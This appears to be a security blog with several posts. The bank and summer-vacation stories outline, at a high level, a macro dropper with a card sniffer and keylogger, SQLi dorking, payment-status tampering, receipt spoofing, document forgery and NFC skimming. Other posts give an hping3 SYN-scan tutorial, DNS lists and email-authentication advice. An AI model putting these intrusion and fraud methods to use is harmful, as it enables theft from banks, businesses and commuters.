Backdoor dentro software per la compliance GDPR (ita/eng)

Cosa succede quando qualche software house vuole ergersi a “esperta” ma tralascia le norme base della sicurezza? Risposta: si sputtana poiché il software diventa un vettore di attacco pericoloso.

Questo è il caso di 2 diversi software per il GDPR fai-da-te, ma andiamo per gradi.

Sono stato chiamato da una azienda che ha avuto alcuni DB cancellati in maniera “misteriosa”. Eseguo le indagini del caso e vedo una connessione su porta 444, la riconosco, la porta di default dei backdoor creati con la maggior parte dei framework automatici.

Chiedo se avessero ricevuto email strane, installato software o chissa quale altra pratica altamente sconsiderata, negli ultimi tempi e candidamente il manager mi dice: “abbiamo installato due software per la compliance del GDPR, per produrre i moduli in automatico”

Prendo i due software e li apro come una scatola di sardine.. ed ecco che appaiono una serie di geroglifici e poi tutta la sequenza del backdoor di POST. Ora io non sono un coder e quindi chiedo consiglio a qualcuno pi esperto che mi conferma che è un backdoor con un metodo di offuscamento vecchiotto. Non abbiate mai paura ad ammetttere i vostri limiti, non si può sapere tutto!

Analizzando il tutto è emerso che non solo il software creava un backdoor , ma prendeva i dati (ben organizzati come mi ha detto qualcuno) e si replicava ogni volta che produceva un documento, sadicamente geniale!

I software sono famosi ma non sono gli indagati, infatti andando a vedere la versione originale si è scoperta integra senza nessuna infezione. Quindi l’unica colpa di chi lo ha sviluppato è di non aver pensato a rendere difficile la possibilità di manipolarlo.

Abbiamo provato a contattare l’azienda che aveva installato il software e abbiamo scoperto che prima si occupava di grafica pubblicitaria e che il numero era “inesistente”. Volete affidare davvero i vostri dati a improvvisati psiconauti?

Il GDPR ha creato i mostri della ragione, quella ragione che tende a sfruttare l’ignoranza altrui e basata sul : devo farlo ma voglio spendere poco.
Quel voler spendere poco ha avuto come risultato:

  1. databreach (parliamo di fintech)
  2. i clienti/fornitori/ hanno ricevuto un backdoor e quelli non difesi bene, infettati
  3. La credibilità è andata a farsi benedire

Fidatevi solo di chi sa prendersi la responsabilità di quanto dice ed ha una solida esperienza referenziata alle spalle, le stonature degli improvvisati possono distruggervi.

Doveroso citare chi mi ha supportato in questa analisi, validi professionisti con cui collaboro da anni

Lato coding/analisi network e architettura: joysystem.eu

Reputations exposure (analisi reputazionale e di visibilità dei programmi modificati eventualmente indicizzati) avvocatodelweb.it

Come ho hackerato la mia banca (ita/eng)

Ogni volta che vedo le pubblicità delle banche e sento “la tua banca sicura” inizio a sudare freddo. Una sera a cena con alcuni amici tra cui un direttore di banca, abbiamo scommesso che la sua filiale (forte delle policy della sede centrale) era inattaccabile, già come asserzione è ardita ma la boria di questo direttore mi ha spinto a far sfoggio di tutta la MIA arroganza.
Le regole della scommessa erano: La filiale NON doveva sapere il giorno in cui avrei fatto l’attacco e non avrei usato il rapimento come metodo di social engineering.
Rimugino una notte intera e valuto i possibili intoppi alla fine creo una strategia sperando funzioni. Telefono alla filiale spacciandomi per GranTruffImbroglion Cobram e prendo un appuntamento per due giorni a seguire. Nel frattempo gli chiedo la mail per inviare anticipatamente i documenti necessari: Non c’è problema! Eccola “sonolavittimaperfetta@bancadeimiracolati.anvedi”

Ora devo preparare la trappola

1) I documenti che servono sono 6, ne preparo per l’invio solo 5 e in ognuno di questi inserisco uno script assolutamente PULITO che va a modificare ESCLUSIVAMENTE una chiave del registro, quella USB, la strategia infatti sarà quella, opsss mi son dimenticato uno dei documenti ma lo porto sempre con me, con gli occhi a mo di gatto di shrek e sperando non mi offra da bere! Ipotizzando vi sia un blocco per chiavette non autorizzate voglio fare in modo che sia lui aprendo il documento mi dia il margine operativo.

2) A questo punto devo capire cosa e come metter nella chiave, avranno sicuramente antivirus centralizzati con tanto di fossato e piranha. Ad un tratto l’illuminazione! vedrò di rubare ogni cc che transita in quella rete e metterò un backdoor su quel client cercando di beccare le credenziali. Le cose si complicano ma se non ci provo non potrò mai sapere quanto.

3) Preparo il documento e metto un codice che fa un drop totalmente offuscato di un programmino che eseguirà queste azioni:
– Si installa silenzioso
– Si nasconde tra le molteplici svchost.exe (e se usa un client linux? Ahhahaha bella questa scusate per la cavolata detta)
– Ha il codice offuscato e non agisce in nessuna maniera conosciuta malevola (più o meno)
– lancia un programmino che sniffa tutti i numeri di cc che transitano su quel segmento di rete
– keylogger
– raccolte tutte queste cose le invia ad una email protetta a cui accederò in maniera anima passando da Timbuktu fino al faro sperduto di Asgard ua volta al giorno.

Mi presento il giorno dell’appuntamento, vestito di tutto punto come se fossi un magnate texano (non mi piacciono i sigari) e inizio con la farsa al momento giusto, il tizio della banca mi dice che non si potrebbe ma “si capisce subito che è una persona seria quindi prova a metterla”
Funziona! Si stupisce anche il bancario e le vocine dentro la mia testa sghignazzano come se avessero sterminato un campo di birra.
Scarica il documento e io inizio a sudare, l’antiviurus non lo rileva! Evvai!
Torno a sudare freddo, quando il bancario dice: strano, si è bloccato tutto…
Ed ecco che parte lo sgranare un rosario tra il blasfemo e il divino dove nemmeno dei di tradizioni morte e sconosciutie si salvano.
“Ah ecco!” e tutto torna sereno e tranquillo, tranne che dovrò trovare al più presto un posto dove cambiarmi la biancheria per ovvi motivi di strizza.
Fatto quanto dovevo esco facendo un enorme sospiro di sollievo, ora non resta che aspettare di vedere se effettivamente quello che ho messo insieme è giusto oppure ho messo codici a caso.

Primo giorno
Nulla…
Secondo giorno
Nulla e inizio a girovagare per la stanza come un padre in maternità che sta aspettando 12 gemelli…
Terzo giorno
TA-DAH! arriva tutto… 5 codici di cc con nome e cognome (ma non il codice di sicurezza, la scommessa era prendere non rubare!) credenziali del bancario, chat con una certa Paula Loviados della via Pal e altre cose divertenti.

A questo punto posso ritenermi soddisfatto e chiamo il direttore di quella banca, dandogli appuntamento l’indomani mattina nella sua stessa filiale.
Non vi dico i colori cambiati dal direttore quando ho stampato tutto quello di cui ero in possesso. Vinta la scommessa… (una cena)
Mentre uscivo però ho pensato al bancario che è stato così gentile da farmi da vittima e a quel che capiterà tra 5 minuti (è entrato nell’ufficio del direttore subito dopo la mia uscita)

Anche questo potrebbe essere vero o falso, potrei essere un folle mitomane, vi invito a scoprire cosa c’è di sbagliato in quanto ho raccontato e sopratutto, questo articolo è fatto per farvi capire che TUTTO può essere un vettore di attacco… specialmente se chatti nelle ore di lavoro con Paulo…

 

ENGLISH VERSION (something like)

How i hacked my bank

Whenever I see bank advertisements and feel “your bank safe” I start to sweat cold. One evening at dinner with some friends including a bank manager, we bet that his branch (strong policy of the central office) was unassailable, already as an assertion is bold but the bossy of this director pushed me to show off all MY arrogance.

The rules of the bet were: The branch did NOT have to know the day I would have made the attack and I would not have used the kidnapping as a social engineering method. I spend a whole night and I evaluate the possible hitches at the end I create a strategy hoping for functions. I phone the branch by opening up for Weareseriousstalker Ltd and I make an appointment for two days to follow. In the meantime I ask the email to send in advance the necessary documents:
No problem! Here it is “iamtheperfectvictim@miraclebanck.yo” Now I have to prepare the trap

1) The documents I need are 6, I prepare for sending only 5 and in each of these I insert an absolutely CLEAN script that goes to modify EXCLUSIVELY a key of the register, the USB, the strategy in fact will be that, opsss I forgot one of the documents but I always carry it with me, with my eyes like a shrek cat and hoping it will not offer me a drink! Assuming there is a block for unauthorized keys I want to make sure that it is him opening the document give me the operating margin.

2) At this point I have to understand what and how to put in the key, they will certainly have centralized antivirus with a moat and piranha. Suddenly the lighting! I will see to steal every cc that transits in that network and I will put a backdoor on that client trying to peck the credentials. Things get complicated but if I do not try, I will never know how much.

3) Prepare the document and put a code that makes a totally obscured drop of a small program that will perform these actions: – It is installed silently – Are you hiding between multiple svchost.exe (and if you use a linux client? Ahhahaha nice this sorry for the bullshit said) – Has the code obscured and does not act in any way known malevolent (more or less) – launches a small program that sniffs all the cc numbers that transit on that segment of the network – keylogger – collected all these things send them to a secure email that I will access so soully from Timbuktu to the lost Asgard lighthouse once a day.

I introduce to him on the day of the appointment, fully dressed as if I were a Texas boss(I do not like cigars) and start with the farce at the right time, the bank guy tells me that you could not but “you immediately understand that he’s a serious person so try to put it ” It works! Banking is also amazed, and the voices inside my head are sneering as if they had exterminated a field of beer. Download the document and I start to sweat, the antiviurus does not detect it!

Yay!

I go back to sweat cold, when the bank says: strange, everything is blocked … And here is part of shelling a rosary between the blasphemous and the divine where even the gods of dead and unknown traditions are saved. “Ah here!” and everything returns serene and quiet, except that I will have to find a place as soon as possible to change the linen for obvious reasons of squeeze. Done as I had to go out with a huge sigh of relief, now we just have to wait to see if actually what I put together is right or I put random codes.

First day
Nothing…

Second day
Nothing and i starts to wander around the room like a father in maternity who is waiting for 12 twins …

Third day
TA-DAH! everything arrives … 5 codes of cc with name and surname (but not the security code, the bet was to take not to steal!) bank credentials, chat with a certain Paulo Transgender and other funny things.

At this point I can be satisfied and I call the director of that bank, giving him an appointment the next morning in his own branch. I do not tell you the colors changed by the director when I printed everything I had. Won the bet … (one dinner)

As I was leaving, however, I thought of the banker who was kind enough to make me a victim and what will happen in 5 minutes (he entered the director’s office immediately after my exit) This could also be true or false, I could be a crazy mythomaniac, I invite you to find out what’s wrong with what I told above all, this article is made to let you understand that EVERYONE can be an attack vector … especially if you Chat in working hours with Paulo …

il Ping e il suo insano utilizzo pt I

Inizia qui la mia arrogante e lunga serie di articoli su vari metodi che personalmente includo in ogni PT, forse troverete cose ridicole per i puristi del fai date (avanti avanti ok) ma che volete, son vecchio. Iniziamo questa tragicomica serie con il ping. Non andrò nello specifico dei protocolli in questa serie, poiché si suppone che se volete o siete dei Preparatori di teste la base dei protocols l’abbiate già ingurgitata (senza siete solo operatori da call center).

Il ping è un tenero piccolo animale che vive libero in ogni sistema operativo che si rispetti (nix unix ecc) e che non si rispetti (windows in generis).

In molti lo sottovalutano oppure lo usano per sfoggiare doti hackerotiche di fronte a ignari utonti che vedono geroglifici numeri e zozzerie varie sullo schermo e pensano che tu sia entrato nel norda e stia lanciando chissà quante testate nucleari verso il paesino di della tua ex, mentre invece a malapena chi lo lancia sa cosa sia effettivamente e le sue potenzialità.

Infatti il ping ha come compagna il pong (non il gioco della guerra di secessione e nemmeno quello coreano) e quindi un dato viene inviato e un dato viene ricevuto, la base di ogni connessione.  Possiamo adirittura creare dei backdoor!

In questo capitolo useremo Hping3 in modo da semplificare alcune cosette e vedremo come usarlo per valutare la stabilità del nostro target e testare specificatamente alcuni protocolli e altre amenità. Tra l’altro hpig è made in Italy, creato da Salvatore Sanfilippo (Antirez) e offre più opzioni che il classico ping.

ICMP check

Non andremo a testare uno Smurf Attack (si avete letto bene, le vostre connessioni inizeranno a cantare noi puffi siam così e su gli schermi Cristina d’avena il wallpaper sarà impossibile da togliere), ma semplicemente a valutare la risposta ICMP

lanciamo hping3 con le opzioni:

hping3 -1 IP/dominio.datestare

avremo un output

HPING 192.168.1.1 (wlan0 x.x.x.x): icmp mode set, 28 headers + 0 data bytes
len=28 ip=192.168.1.1 ttl=64 id=1646 icmp_seq=0 rtt=7.8 ms
len=28 ip=192.168.1.1 ttl=64 id=1647 icmp_seq=1 rtt=3.7 ms
len=28 ip=192.168.1.1 ttl=64 id=1648 icmp_se.q=2 rtt=7.5 ms

Il Round-trip Time è una misura del tempo impiegato da un pacchetto di dimensione trascurabile per viaggiare da un nodo della rete ad un altro e tornare indietro (tipicamente, un’andata client-server ed il ritorno server-client), (grazie skifipedia!). Questo dato ci porta a valutare le performance di un server.

Simulare un attacco con Hping3

Uno degli attacchi più frequenti è il SYN scan, ovvero la prima parte di una handshake tra client e server e viene usato per capire se un determinato servizio/porta è attivo/a ottenendo una risposta SYN/ACC.

hping3 -S 192.168.1.1 -c 1
HPING 192.168.1.1 (wlan0 192.168.1.1): S set, 40 headers + 0 data bytes

--- 192.168.1.1 hping statistic ---
1 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@Polifemo:~# hping3 -S localhost -c 1
HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
len=40 ip=127.0.0.1 ttl=64 DF id=11026 sport=0 flags=RA seq=0 win=0 rtt=11.8 ms

--- localhost hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 11.8/11.8/11.8 ms

i campi importanti sono “sport” (non dovete andare in palestra!) che è la porta in scansione, in questo caso 0 e il campo flags che è la risposta inviata dal target (in questo caso localhost).

hping3 -S localhost -c 1 -p 1
HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=1 flags=SA seq=0 win=43690 rtt=7.8 ms

--- localhost hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 7.8/7.8/7.8 ms

Vediamo che la sport è 1 e il flag SA

Voi direte, ma devo metterle tutte a mano di volta in volta? no ovviamente e che siamo pionieri del 56k?

possiamo usare questa opzione:

hping3 -S localhost -p ++0

e avremo:

HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes
len=40 ip=127.0.0.1 ttl=64 DF id=7949 sport=0 flags=RA seq=0 win=0 rtt=7.9 ms
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=1 flags=SA seq=1 win=43690 rtt=3.6 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8149 sport=2 flags=RA seq=2 win=0 rtt=7.4 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8161 sport=3 flags=RA seq=3 win=0 rtt=7.2 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8222 sport=4 flags=RA seq=4 win=0 rtt=3.0 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8306 sport=5 flags=RA seq=5 win=0 rtt=6.8 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8484 sport=6 flags=RA seq=6 win=0 rtt=6.6 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8598 sport=7 flags=RA seq=7 win=0 rtt=2.5 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8827 sport=8 flags=RA seq=8 win=0 rtt=6.3 ms
len=40 ip=127.0.0.1 ttl=64 DF id=8966 sport=9 flags=RA seq=9 win=0 rtt=2.1 ms
len=40 ip=127.0.0.1 ttl=64 DF id=9158 sport=10 flags=RA seq=10 win=0 rtt=6.0 ms
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=11 flags=SA seq=11 win=43690 rtt=5.9 ms
len=40 ip=127.0.0.1 ttl=64 DF id=9557 sport=12 flags=RA seq=12 win=0 rtt=5.8 ms
len=40 ip=127.0.0.1 ttl=64 DF id=9573 sport=13 flags=RA seq=13 win=0 rtt=1.6 ms
len=40 ip=127.0.0.1 ttl=64 DF id=9660 sport=14 flags=RA seq=14 win=0 rtt=5.5 ms
len=44 ip=127.0.0.1 ttl=64 DF id=0 sport=15 flags=SA seq=15 win=43690 rtt=5.4 ms
len=40 ip=127.0.0.1 ttl=64 DF id=9895 sport=16 flags=RA seq=16 win=0 rtt=1.2 ms
^C
--- localhost hping statistic ---
17 packets transmitted, 17 packets received, 0% packet loss
round-trip min/avg/max = 1.2/5.0/7.9 ms

Se siete così masochisti da andare a cercar la SA nell’uovo, o meglio nella RA allora fate così, altrimenti potete specificare di vedere solo le risposte SA in queste maniere:

hping3 -S localhost -p ++0 | grep SA
oppure

hping3 -S localhost -p ++0 | grep "flags=SA"

Alla prossima (ormai è tardi e ho sonno)

DNS privacy

Quante volte vi siete chiesti: come posso evitare che il mondo si faccia i miei affari?

Beh sappiate che ogni volta che dite parole “calde” scatta un allarme e siete monitorati o registrati.

Per evitare questo dovete ricordarvi e analizza ogni passaggio che dal vostro computer fino al sito o al server che volete usare, in modo che nulla rimanga al caso.

Una buona pratica è usare dei DNS anonimi (il primo che dice che quello di google è anonimo lo crocifiggo con dei cavi RJ davanti a MediaWorld)

Qui una lista di buoni DNS, ma ancora ci sono quelli del chaos computer club e anondns oppure openic.

Se volete invece avere una threat intelligence via DNS vi consiglio Quad9 (DNS 9.9.9.9)

Qui una lista di DNS anonimi

IPv4   ↓ IPv6   ↓ Pagefilter   ↓ Provider   ↓ Territory   ↓
85.214.73.63 no FoeBuD e.V. Germany
87.118.100.175 no German Privacy Foundation e.V. Germany
94.75.228.29 no German Privacy Foundation e.V. Germany
85.25.251.254 no German Privacy Foundation e.V. Germany
62.141.58.13 no German Privacy Foundation e.V. Germany
213.73.91.35 no Chaos Computer Club Berlin Germany
212.82.225.7 no ClaraNet Germany
212.82.226.212 no ClaraNet Germany
208.67.222.222 only malicious OpenDNS USA
208.67.220.220 only malicious OpenDNS USA
58.6.115.42 no OpenNIC Australia
58.6.115.43 no OpenNIC Australia
119.31.230.42 no OpenNIC Australia
200.252.98.162 no OpenNIC Brazil
217.79.186.148 no OpenNIC Germany
81.89.98.6 no OpenNIC Germany
78.159.101.37 no OpenNIC Germany
203.167.220.153 no OpenNIC New Zealand
82.229.244.191 no OpenNIC France
82.229.244.191 no OpenNIC Czechia
216.87.84.211 no OpenNIC USA
2001:470:8388:2:20e:2eff:fe63:d4a9 no OpenNIC USA
2001:470:1f07:38b::1 no OpenNIC USA
66.244.95.20 no OpenNIC USA
2001:470:1f10:c6::2 no OpenNIC USA
207.192.69.155 no OpenNIC USA
72.14.189.120 no OpenNIC USA
156.154.70.1 only malicious DNS Advantage USA
156.154.71.1 only malicious DNS Advantage USA
156.154.70.22 only malicious Comodo Secure DNS USA
156.154.71.22 only malicious Comodo Secure DNS USA
194.145.226.26 no PowerNS Germany
77.220.232.44 no PowerNS Germany
78.46.89.147 no ValiDOM Germany
88.198.75.145 no ValiDOM Germany
216.129.251.13 no JSC Marketing USA
66.109.128.213 no JSC Marketing USA
171.70.168.183 no Cisco Systems USA
171.69.2.133 no Cisco Systems USA
128.107.241.185 no Cisco Systems USA
64.102.255.44 no Cisco Systems USA
85.25.149.144 no Freie Unzensierte Nameserver Germany
87.106.37.196 no Freie Unzensierte Nameserver Germany
209.59.210.167 no Christoph Hochstätter USA
85.214.117.11 no Christoph Hochstätter Germany
83.243.5.253 2a01:198:16::5253 no private Germany
88.198.130.211 no private Germany
92.241.164.86 no private (i-root.cesidio.net, cesidio root included) Russia
85.10.211.244 no private Germany

Questi sicuramente non loggano le query

https://blog.uncensoreddns.org/

https://freedns.zone/en/

 

 

Come ho hackerato le mie vacanze estive (ita/eng version)

20180822_1801532092890223.jpg

(for english version see at the second part of this article)
Siamo in tempi di crisi ma non voglio rinunciare alle vacanze, come posso fare? Semplice sfrutto la presunzione dei vari IperMegaFarabuttSecurityExperts in giro per il mondo e uso i miei skills per organizzarmi la vacanza perfetta

Per iniziare faccio la lista delle cose che mi servono:

Dove andare a far le ferie
Hotel
Trasporti sul posto
Viaggio aereo o treno?
Cash per le piccole spese.

E’ molto più facile dedicarci a piccole compagnie che offrono pacchetti completi, per questo inizio a guardare quelle agenzie (piccole, per intenderci quelle che non possono permettersi di spendere 400 mila euro per comprarsi l’ultimo modello di firewall con le tendine e il pesce rosso – si lo so che non significa nulla ma la maggior parte della gente pensa di si).
Cercando on google creo il mio dork ad hoc per cercare vulnerabilità di un certo tipo (SQLi ecc.) specificando i parametri che mi interessano:

viaggi – acquista – e in altre lingue giusto per valutare diverse opportunità.

Lanciando il dork mi aspetto pochi risultati e invece…456 results found! Bene così aumentano le possibilità di trovare qualcosadi interessante.
Dump di database, sqli, logs, password.txt (si lo so suona incredibile specialmente password.txt eppure molti luminari -fulminati- della saiberinsecuriti li lasciano).
Alla fine dopo qualche ora di dorking estremo usando anhce il raro e mitico dork “Mi son rotto le scatole voglio andare in ferie gratis!” filetype:bomb.h allinurl allinwebsite allinsysadminwallet alleverywhere site:NOW, riesco a trovare accessi e altre cosette utili e “compro” un pacchetto completo all inclusive comprese le pastiglie per il mal di voli diagonali per una esotica stazione balnerare alle canarie.
Modifico il mio ordine utilizzando i privilegi di amministratore ingannado il lo shop cart da UNPAID a PAID.
Tante di queste agenzie controllano solo a fine mese IN e OUT e pagano loro anticipatamente oppure hanno crediti particolari e pagano a 30 e 60 giorni.
Quindi se qualche santo pixel mi copre riuscirò a farla franca.
Sistemato il volo è ora di pensare all’hotel, scelgo tra una rosa di candidati a 5 stelle apparsi da dorking particolari e specifici per dove vado a farmi le vacanze… anche qui dopo qualche oretta riesco ad avere il controllo delle prenotazioni e cambiare da UNPAID a PAID, ma prima controllo i modo in cui accettano i pagamenti e faccio una ricerca della transazione in modo da simularla in ogni aspetto. Infatti ricevono ricevuta via email. Ed ecco che devo faticare, controllo se è possibile spoofare la mail del provider di cc e con somma gioia E’ possibile! Quindi creo la copia e la mando all’hotel.
Però un altro problema, mi chiedono una conferma e allora modifico alcuni documenti creando una falsa denuncia di documenti smarriti e usando documenti fotocopiati chiedendo se fosse un problema. Essendo un hotel distinto e avendo già avuto la ricevuta di pagamento dicono che va bene così.
Volo e hotel sono a posto ora devo pensare a del cash per le piccole enormi spese sul posto.
Uhm…
Preparo un borsa con un NFC reader e preparo un telefono rootato con adroid e che sia un POS.. microtransazioni di 20 euro e faccio un giro nelle metropolitane sperando bene. San Giga da Arpa Net! nel giro di 4 ore ho raccolto i soldi necessari (ma come nessuno ha ricevuto il messaggio della transazione????).-

Ricapitoliamo:

1) Volo – ok
2) Hotel – ok
3) Cash – ok

Parto e la macchinetta all’aereoporto non da resto, quindi inizio a giocar con la tastiera ed ecco che il pin di default è 1111, ora faccio scorta di snack e posso felicemente partire per le ferie a costo 0!

Vi è piaciuto? Questa ricerca è inventata ma è praticamente una maniera realistica di come potrebbe accadere. Ho voluto scrivere questo articolo per attirare l’attenzione per l’ennesima volta su quanto sia importante valutare OGNI singolo aspetto della propria azienda, compreso il lato social engineer.
Non è un firewall o un IDS o altro che vi metterà al riparo da tutto ma la strategia della sicurezza. Sopratutto il costo della sicurezza deve essere adeguato all’attività, non si può far pagare 400 euro al giorno perqualcuno che configuri (male) la sicurezza.

How I hacked my summer vacation
We are in times of crisis but I do not want to give up on holidays, how can I do? Simple exploits the presumption of various IperMegaFarabuttSecurityExperts around the world and use my skills to organize the perfect holiday

To start I make the list of the things I need:

Where to go on holiday
Hotel
Traveling by plane or train?
Cash for small expenses.

It is much easier to devote to small companies that offer complete packages, so I start looking at those agencies (small, to be clear those who can not afford to spend 400 thousand euros to buy the latest model of firewall with curtains and fish red – yes I know it means nothing but most people think of it).
Searching on google I create my ad hoc dork to look for vulnerabilities of a certain type (SQLi etc.) specifying the parameters that interest me:

travel – buy – and in other languages ​​just to evaluate different opportunities.

By launching the dork I expect few results and instead … 456 results found! So the chances of finding something interesting increase.
Database dumps, sqli, logs, password.txt (yes I know it sounds unbelievable especially password.txt and yet many luminaries -fulminati- of the saiberinsecuriti leave them).
At the end after a few hours of extreme dorking using anhce the rare and mythical dork “I broke the boxes I want to go on vacation for free!” filetype: bomb.h allinurl allinwebsite allinsysadminwallet alleverywhere site: NOW, I can find accesses and other useful things and “buy” a complete all-inclusive package including tablets for the diagonal flight sickness for an exotic canarian station.
I modify my order using the administrator privileges, deceiving the shop cart from UNPAID to PAID.
Many of these agencies only check IN and OUT at the end of the month and pay them in advance or have special credits and pay at 30 and 60 days.
So if some holy pixels covers me I can get away with it.

Fixed the flight is time to think about the hotel, I choose among a shortlist of 5-star candidates appeared to be particular and specific dorking for where I go to take the holidays … even here after a few hours I manage to have reservations and change from UNPAID to PAID, but first check the way they accept payments and do a search of the transaction in order to simulate it in every aspect. In fact, they receive a receipt by e-mail. And here I have to work hard, check if you can spoof the mail of the DC provider and with great joy It’s possible! So I create the copy and send it to the hotel.
But another problem, they ask me for a confirmation and then I edit some documents creating a false report of lost documents and using photocopied documents asking if there was a problem. Being a distinguished hotel and having already received the payment receipt they say that’s okay.
Flight and hotel are in place now I have to think of cash for small huge expenses on the spot.
Um …
I prepare a bag with an NFC reader and I prepare a rooted phone with adroid and that is a POS .. microtransactions of 20 euros and I take a ride in the metropolitan hoping well. San Giga from Arpa Net! within 4 hours I collected the necessary money (but as nobody has received the message of the transaction ????) .-

Let’s recap:

1) Flight – ok
2) Hotel – ok
3) Cash – ok
I leave and the machine at the airport does not give rest, so I start playing with the keyboard and here is the default pin is 1111, now I stock up on snacks and I can happily leave for the holidays at 0 cost!

Did you like it? This research is invented but it is practically a realistic way of how it could happen. I wanted to write this article to draw attention once again to how important it is to evaluate EVERY single aspect of your company, including the social engineer side.
It’s not a firewall or IDS or anything that will protect you from everything but the security strategy. Above all, the cost of security must be appropriate to the activity, you can not charge € 400 a day for someone who configures (badly) security.

How to prevent and monitor hacked email phishing and other fantastic animal

Most companies spend “some” money in high-sounding names for perimeter protection, then it is enough for an employee or the CEO to use a weak password or end up with all the shoes in a credharvest / phishing et voila, all the money spent was better invest them in peanuts. The GDPR has already shown its failure in the application, in fact daily phishing or malware campaigns and others fantastic animals land in mail boxes around the world using spoofing techniques or exploiting emails a short time before.

Most of the time this is discovered when damage has done. I see it as a failure of the GDPR because there is no control on real recent the databreach, companies themselves have no visibility of the leaks.

Yet there are rather simple methods and protocols to implement to prevent and combat all of this, the thing that you can do is that they are free and work!

The main ones are:

  • Sender Policy Framework (SPF) hardens your DNS servers and restricts who can send emails from your domain. SPF can prevent domain spoofing. It enables your mail server to determine when a message came from the domain that it uses. SPF has three major elements: a policy framework as its name implies, an authentication method and specialized headers in the actual email itself that convey this information. SPF was first proposed with IETF standard 4408 back in 2006, and has been updated most recently to standard 7208 in 2014. Still somebody can spoof internally your network is true, but in that case you have a bug inside your house so start to clean and activate other security activity.
    SPFw
  • DomainKeys Identified Mail (DKIM) ensures that the content of your emails remains trusted and hasn’t been tampered with or compromised. It was initially proposed in 2007 and has been updated several times, most recently with the IETF standard 8301 this last January. Both SPF and DKIM were updated with the IETF standard 7372 in 2014.
    DKIM FLow
  • Domain-based Message Authentication, Reporting and Conformance (DMARC) ties the first two protocols together with a consistent set of policies. It also links the sender’s domain name with what is listed in the From: header and also has some better reporting back from mail recipients. It was proposed as an IETF standard 7489 in 2015.P
    dmarc

Other methods are:

OSINT monitoring to check if our business email are inside some major databreach.

Avoid Password Reuse: basically never use the same password for every account!

So basically if you have an hacked email and this email will be used outside the authorized send you will receive an alert, this can be the best fast method for not so well cybersecurity experts

Here a very nice article about The Art of Email Spoofing

How configure them

Main site for DMARC

SPF

DKIM

Of course, continue evolutions of the attacks will not put you eternal safe area, is necessary monitoring and evolve self security according with the trend and scenario. Remember: When you need it now, can you wait? (Tequila Willy cDc)

That’s all folks

USBHarpoon Attack resources

badusbJust a collection of articles about USBHarpoon for researchers

The most common form of this attack is whereby the attacker plugs in a USB physically into an unlocked machine and the device will input the necessary keyboard shortcuts and keystrokes to execute a malware implant. (Vincent Yui)

Full article

Introduction to BadUSB

Article Here

 

How to prevent BadUSB pratically (HeimdalSec)

Here

 

Several security experts have built a malicious version of a USB charging cable, one that can compromise a computer in just a few seconds. Once plugged in, it turns into a peripheral device capable of typing and launching commands. (BleepingComputers)

Full Article here

Link to practice pentest legally

Often people ask me where they can test their skill or improve them.
I collect some links where you can test different skills and type of pt

other links can be found here don’t know if they are still active

https://www.bonkersabouttech.com/security/40-plus-list-of-intentionally-vulnerable-websites-to-practice-your-hacking-skills/392

this list was taken from:

http://www.amanhardikar.com/mindmaps/Practice.html
Vulnerable Web Applications
BadStore http://www.badstore.net/
BodgeIt Store http://code.google.com/p/bodgeit/
Butterfly Security Project http://thebutterflytmp.sourceforge.net/
bWAPP http://www.mmeit.be/bwapp/
http://sourceforge.net/projects/bwapp/files/bee-box/
Commix https://github.com/stasinopoulos/commix-testbed
CryptOMG https://github.com/SpiderLabs/CryptOMG
Damn Vulnerable Node Application (DVNA) https://github.com/quantumfoam/DVNA/
Damn Vulnerable Web App (DVWA) http://www.dvwa.co.uk/
Damn Vulnerable Web Services (DVWS) http://dvws.professionallyevil.com/
Drunk Admin Web Hacking Challenge https://bechtsoudis.com/work-stuff/challenges/drunk-admin-web-hacking-challenge/
Exploit KB Vulnerable Web App http://exploit.co.il/projects/vuln-web-app/
Foundstone Hackme Bank http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
Foundstone Hackme Books http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
Foundstone Hackme Casino http://www.mcafee.com/us/downloads/free-tools/hacme-casino.aspx
Foundstone Hackme Shipping http://www.mcafee.com/us/downloads/free-tools/hacmeshipping.aspx
Foundstone Hackme Travel http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx
GameOver http://sourceforge.net/projects/null-gameover/
hackxor http://hackxor.sourceforge.net/cgi-bin/index.pl
Hackazon https://github.com/rapid7/hackazon
LAMPSecurity http://sourceforge.net/projects/lampsecurity/
Moth http://www.bonsai-sec.com/en/research/moth.php
NOWASP / Mutillidae 2 http://sourceforge.net/projects/mutillidae/
OWASP BWA http://code.google.com/p/owaspbwa/
OWASP Hackademic http://hackademic1.teilar.gr/
OWASP SiteGenerator https://www.owasp.org/index.php/Owasp_SiteGenerator
OWASP Bricks http://sourceforge.net/projects/owaspbricks/
OWASP Security Shepherd https://www.owasp.org/index.php/OWASP_Security_Shepherd
PentesterLab https://pentesterlab.com/
PHDays iBank CTF http://blog.phdays.com/2012/05/once-again-about-remote-banking.html
SecuriBench http://suif.stanford.edu/~livshits/securibench/
SentinelTestbed https://github.com/dobin/SentinelTestbed
SocketToMe http://digi.ninja/projects/sockettome.php
sqli-labs https://github.com/Audi-1/sqli-labs
MCIR (Magical Code Injection Rainbow) https://github.com/SpiderLabs/MCIR
sqlilabs https://github.com/himadriganguly/sqlilabs
VulnApp http://www.nth-dimension.org.uk/blog.php?id=88
PuzzleMall http://code.google.com/p/puzzlemall/
WackoPicko https://github.com/adamdoupe/WackoPicko
WAED http://www.waed.info
WebGoat.NET https://github.com/jerryhoff/WebGoat.NET/
WebSecurity Dojo http://www.mavensecurity.com/web_security_dojo/
XVWA https://github.com/s4n7h0/xvwa
Zap WAVE http://code.google.com/p/zaproxy/downloads/detail?name=zap-wave-0.1.zip
